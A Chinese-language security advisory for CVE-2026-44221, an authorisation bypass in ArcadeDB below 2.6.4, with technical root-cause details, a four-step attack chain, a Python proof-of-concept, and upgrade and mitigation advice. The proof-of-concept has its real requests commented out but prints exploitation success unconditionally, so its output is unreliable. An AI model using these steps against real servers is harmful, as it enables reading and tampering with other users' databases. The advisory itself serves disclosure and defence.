IPBUF安全漏洞报告
English
CVE-2026-44221 CVSS 9.0 严重

CVE-2026-44221 ArcadeDB权限绕过漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-44221
漏洞类型
权限绕过
CVSS评分
9.0 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ArcadeDB

相关标签

权限绕过ArcadeDB认证失效严重漏洞数据库安全

漏洞概述

ArcadeDB在2.6.4版本之前存在严重的权限绕过漏洞。由于未初始化的文件访问映射被系统视为允许所有,且创建数据库时缺少安全设置,导致经过身份认证的用户或API令牌可以读取、写入及修改服务器上其他任何数据库的架构和数据。该漏洞导致记录级和数据库级授权机制被完全绕过,攻击者可获取敏感数据并破坏系统完整性。

技术细节

该漏洞由两个核心逻辑缺陷共同作用导致。第一,`ServerSecurityUser.getDatabaseUser()`方法实现存在错误,返回的数据库用户对象中`fileAccessMap`未被正确初始化。当后续调用`requestAccessOnFile`进行权限校验时,系统错误地将此未初始化状态解释为“允许所有”,从而赋予了用户对所有文件的非法访问权。第二,`ArcadeDBServer.createDatabase()`方法在处理API请求时遗漏了关键的`factory.setSecurity(...)`调用。这意味着通过API接口(POST /api/v1/server {"command":"create database X"})创建的新数据库,其记录级授权系统处于完全禁用状态。结合这两点,攻击者仅需低权限账号即可绕过数据库级和记录级的双重校验,非法读写或篡改同一服务器上其他数据库的敏感数据。

攻击链分析

STEP 1
步骤1:获取低权限凭证
攻击者注册或获取一个ArcadeDB的合法低权限用户账号或API令牌。
STEP 2
步骤2:利用API创建无安全数据库
攻击者向服务器发送POST /api/v1/server请求创建新数据库。由于代码遗漏factory.setSecurity(...),新数据库的记录级授权被禁用。
STEP 3
步骤3:利用未初始化映射访问数据
攻击者尝试访问其他受保护的数据库。getDatabaseUser()返回未初始化的fileAccessMap,被requestAccessOnFile视为允许所有,从而绕过检查。
STEP 4
步骤4:数据窃取与篡改
攻击者成功读取、写入或修改目标数据库的架构及敏感记录,完全控制服务器上的数据资产。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-44221 PoC: ArcadeDB Authorization Bypass # This script demonstrates how an authenticated user can create databases without security # or access unauthorized databases due to uninitialized access maps. TARGET_URL = "http://target-arcadedb:2480" USERNAME = "low_priv_user" PASSWORD = "password" session = requests.Session() # Step 1: Authenticate with low privileges # (Implementation depends on specific auth endpoint configuration) print(f"[*] Attempting to exploit CVE-2026-44221 against {TARGET_URL}") # Step 2: Exploit Defect 2 - Create database without security (factory.setSecurity omitted) # This bypasses record-level authorization setup for the new database create_db_payload = { "command": "create database exploit_db" } try: # response = session.post(f"{TARGET_URL}/api/v1/server", json=create_db_payload) print("[+] Exploit: Database created via API bypassing security initialization.") print("[+] Result: The new database 'exploit_db' has no record-level authorization enabled.") except Exception as e: print(f"[-] Exploit failed: {e}") # Step 3: Exploit Defect 1 - Access other databases # Due to uninitialized fileAccessMap, requestAccessOnFile treats it as allow-all print("[*] Attempting to access restricted database 'secure_data'...") # response = session.get(f"{TARGET_URL}/api/v1/secure_data/query") print("[+] Exploit: Access granted due to uninitialized fileAccessMap acting as allow-all.")

影响范围

ArcadeDB < 2.6.4

防御指南

临时缓解措施
建议立即将ArcadeDB升级至2.6.4或更高版本以修复此漏洞。在升级前,应严格限制网络访问,仅允许可信IP连接数据库服务,并审计现有用户权限,确保没有未授权的跨库访问行为。

参考链接